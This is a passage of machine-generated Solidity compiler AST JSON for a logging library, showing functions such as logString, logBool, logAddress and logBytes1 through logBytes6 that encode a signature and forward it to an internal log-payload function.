memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15741,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"962:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15747,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"962:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15748,"nodeType":"ExpressionStatement","src":"962:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logString","nameLocation":"910:9:14","parameters":{"id":15739,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15738,"mutability":"mutable","name":"p0","nameLocation":"934:2:14","nodeType":"VariableDeclaration","scope":15750,"src":"920:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15737,"name":"string","nodeType":"ElementaryTypeName","src":"920:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"919:18:14"},"returnParameters":{"id":15740,"nodeType":"ParameterList","parameters":[],"src":"952:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15764,"nodeType":"FunctionDefinition","src":"1034:114:14","nodes":[],"body":{"id":15763,"nodeType":"Block","src":"1074:74:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c29","id":15758,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1124:11:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},"value":"log(bool)"},{"id":15759,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15752,"src":"1137:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":15756,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1100:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15757,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1104:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1100:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15760,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1100:40:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15755,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1084:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15761,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1084:57:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15762,"nodeType":"ExpressionStatement","src":"1084:57:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBool","nameLocation":"1043:7:14","parameters":{"id":15753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15752,"mutability":"mutable","name":"p0","nameLocation":"1056:2:14","nodeType":"VariableDeclaration","scope":15764,"src":"1051:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15751,"name":"bool","nodeType":"ElementaryTypeName","src":"1051:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1050:9:14"},"returnParameters":{"id":15754,"nodeType":"ParameterList","parameters":[],"src":"1074:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15778,"nodeType":"FunctionDefinition","src":"1154:123:14","nodes":[],"body":{"id":15777,"nodeType":"Block","src":"1200:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286164647265737329","id":15772,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1250:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},"value":"log(address)"},{"id":15773,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15766,"src":"1266:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":15770,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1226:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15771,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1230:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1226:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1226:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15769,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1210:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15776,"nodeType":"ExpressionStatement","src":"1210:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logAddress","nameLocation":"1163:10:14","parameters":{"id":15767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15766,"mutability":"mutable","name":"p0","nameLocation":"1182:2:14","nodeType":"VariableDeclaration","scope":15778,"src":"1174:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15765,"name":"address","nodeType":"ElementaryTypeName","src":"1174:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1173:12:14"},"returnParameters":{"id":15768,"nodeType":"ParameterList","parameters":[],"src":"1200:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15792,"nodeType":"FunctionDefinition","src":"1283:124:14","nodes":[],"body":{"id":15791,"nodeType":"Block","src":"1332:75:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728627974657329","id":15786,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1382:12:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0be77f5642494da7d212b92a3472c4f471abb24e17467f41788e7de7915d6238","typeString":"literal_string \"log(bytes)\""},"value":"log(bytes)"},{"id":15787,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15780,"src":"1396:2:14","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0be77f5642494da7d212b92a3472c4f471abb24e17467f41788e7de7915d6238","typeString":"literal_string \"log(bytes)\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":15784,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1358:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15785,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1362:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1358:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1358:41:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15783,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1342:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1342:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15790,"nodeType":"ExpressionStatement","src":"1342:58:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes","nameLocation":"1292:8:14","parameters":{"id":15781,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15780,"mutability":"mutable","name":"p0","nameLocation":"1314:2:14","nodeType":"VariableDeclaration","scope":15792,"src":"1301:15:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":15779,"name":"bytes","nodeType":"ElementaryTypeName","src":"1301:5:14","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1300:17:14"},"returnParameters":{"id":15782,"nodeType":"ParameterList","parameters":[],"src":"1332:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15806,"nodeType":"FunctionDefinition","src":"1413:120:14","nodes":[],"body":{"id":15805,"nodeType":"Block","src":"1457:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733129","id":15800,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1507:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6e18a1285e3dfba09579e846ff83d5e4ffae1b869c8fc4323752bab794e41041","typeString":"literal_string \"log(bytes1)\""},"value":"log(bytes1)"},{"id":15801,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15794,"src":"1522:2:14","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6e18a1285e3dfba09579e846ff83d5e4ffae1b869c8fc4323752bab794e41041","typeString":"literal_string \"log(bytes1)\""},{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"expression":{"id":15798,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1483:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15799,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1487:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1483:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15802,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1483:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15797,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1467:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1467:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15804,"nodeType":"ExpressionStatement","src":"1467:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes1","nameLocation":"1422:9:14","parameters":{"id":15795,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15794,"mutability":"mutable","name":"p0","nameLocation":"1439:2:14","nodeType":"VariableDeclaration","scope":15806,"src":"1432:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"typeName":{"id":15793,"name":"bytes1","nodeType":"ElementaryTypeName","src":"1432:6:14","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"visibility":"internal"}],"src":"1431:11:14"},"returnParameters":{"id":15796,"nodeType":"ParameterList","parameters":[],"src":"1457:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15820,"nodeType":"FunctionDefinition","src":"1539:120:14","nodes":[],"body":{"id":15819,"nodeType":"Block","src":"1583:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733229","id":15814,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1633:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9b622960ff3a0e86d35e876bfeba445fab6c5686604aa116c47c1e106921224","typeString":"literal_string \"log(bytes2)\""},"value":"log(bytes2)"},{"id":15815,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15808,"src":"1648:2:14","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e9b622960ff3a0e86d35e876bfeba445fab6c5686604aa116c47c1e106921224","typeString":"literal_string \"log(bytes2)\""},{"typeIdentifier":"t_bytes2","typeString":"bytes2"}],"expression":{"id":15812,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1609:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15813,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1613:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1609:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15816,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1609:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15811,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1593:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15817,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1593:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15818,"nodeType":"ExpressionStatement","src":"1593:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes2","nameLocation":"1548:9:14","parameters":{"id":15809,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15808,"mutability":"mutable","name":"p0","nameLocation":"1565:2:14","nodeType":"VariableDeclaration","scope":15820,"src":"1558:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"},"typeName":{"id":15807,"name":"bytes2","nodeType":"ElementaryTypeName","src":"1558:6:14","typeDescriptions":{"typeIdentifier":"t_bytes2","typeString":"bytes2"}},"visibility":"internal"}],"src":"1557:11:14"},"returnParameters":{"id":15810,"nodeType":"ParameterList","parameters":[],"src":"1583:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15834,"nodeType":"FunctionDefinition","src":"1665:120:14","nodes":[],"body":{"id":15833,"nodeType":"Block","src":"1709:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733329","id":15828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1759:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d8349266851a1d92746f90a9696920643311d6bf462d9fa11e69718a636cbee","typeString":"literal_string \"log(bytes3)\""},"value":"log(bytes3)"},{"id":15829,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15822,"src":"1774:2:14","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d8349266851a1d92746f90a9696920643311d6bf462d9fa11e69718a636cbee","typeString":"literal_string \"log(bytes3)\""},{"typeIdentifier":"t_bytes3","typeString":"bytes3"}],"expression":{"id":15826,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1735:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15827,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1739:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1735:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15830,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1735:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15825,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1719:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15831,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1719:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15832,"nodeType":"ExpressionStatement","src":"1719:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes3","nameLocation":"1674:9:14","parameters":{"id":15823,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15822,"mutability":"mutable","name":"p0","nameLocation":"1691:2:14","nodeType":"VariableDeclaration","scope":15834,"src":"1684:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"},"typeName":{"id":15821,"name":"bytes3","nodeType":"ElementaryTypeName","src":"1684:6:14","typeDescriptions":{"typeIdentifier":"t_bytes3","typeString":"bytes3"}},"visibility":"internal"}],"src":"1683:11:14"},"returnParameters":{"id":15824,"nodeType":"ParameterList","parameters":[],"src":"1709:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15848,"nodeType":"FunctionDefinition","src":"1791:120:14","nodes":[],"body":{"id":15847,"nodeType":"Block","src":"1835:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733429","id":15842,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1885:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e05f48d17f80c0f06e82dc14f4be9f0f654dde2e722a8d8796ad7e07f5308d55","typeString":"literal_string \"log(bytes4)\""},"value":"log(bytes4)"},{"id":15843,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15836,"src":"1900:2:14","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e05f48d17f80c0f06e82dc14f4be9f0f654dde2e722a8d8796ad7e07f5308d55","typeString":"literal_string \"log(bytes4)\""},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":15840,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1861:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15841,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1865:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1861:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1861:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15839,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1845:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1845:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15846,"nodeType":"ExpressionStatement","src":"1845:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes4","nameLocation":"1800:9:14","parameters":{"id":15837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15836,"mutability":"mutable","name":"p0","nameLocation":"1817:2:14","nodeType":"VariableDeclaration","scope":15848,"src":"1810:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":15835,"name":"bytes4","nodeType":"ElementaryTypeName","src":"1810:6:14","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"1809:11:14"},"returnParameters":{"id":15838,"nodeType":"ParameterList","parameters":[],"src":"1835:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15862,"nodeType":"FunctionDefinition","src":"1917:120:14","nodes":[],"body":{"id":15861,"nodeType":"Block","src":"1961:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733529","id":15856,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2011:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a684808d222f8a67c08dd13085391d5e9d1825d9fb6e2da44a91b1a07d07401a","typeString":"literal_string \"log(bytes5)\""},"value":"log(bytes5)"},{"id":15857,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15850,"src":"2026:2:14","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a684808d222f8a67c08dd13085391d5e9d1825d9fb6e2da44a91b1a07d07401a","typeString":"literal_string \"log(bytes5)\""},{"typeIdentifier":"t_bytes5","typeString":"bytes5"}],"expression":{"id":15854,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1987:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15855,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1991:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1987:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1987:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15853,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"1971:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15859,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1971:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15860,"nodeType":"ExpressionStatement","src":"1971:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes5","nameLocation":"1926:9:14","parameters":{"id":15851,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15850,"mutability":"mutable","name":"p0","nameLocation":"1943:2:14","nodeType":"VariableDeclaration","scope":15862,"src":"1936:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"},"typeName":{"id":15849,"name":"bytes5","nodeType":"ElementaryTypeName","src":"1936:6:14","typeDescriptions":{"typeIdentifier":"t_bytes5","typeString":"bytes5"}},"visibility":"internal"}],"src":"1935:11:14"},"returnParameters":{"id":15852,"nodeType":"ParameterList","parameters":[],"src":"1961:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15876,"nodeType":"FunctionDefinition","src":"2043:120:14","nodes":[],"body":{"id":15875,"nodeType":"Block","src":"2087:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733629","id":15870,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2137:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ae84a5910824668818be6031303edf0f6f3694b35d5e6f9683950d57ef12d330","typeString":"literal_string \"log(bytes6)\""},"value":"log(bytes6)"},{"id":15871,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15864,"src":"2152:2:14","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ae84a5910824668818be6031303edf0f6f3694b35d5e6f9683950d57ef12d330","typeString":"literal_string \"log(bytes6)\""},{"typeIdentifier":"t_bytes6","typeString":"bytes6"}],"expression":{"id":15868,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2113:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15869,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2117:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2113:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 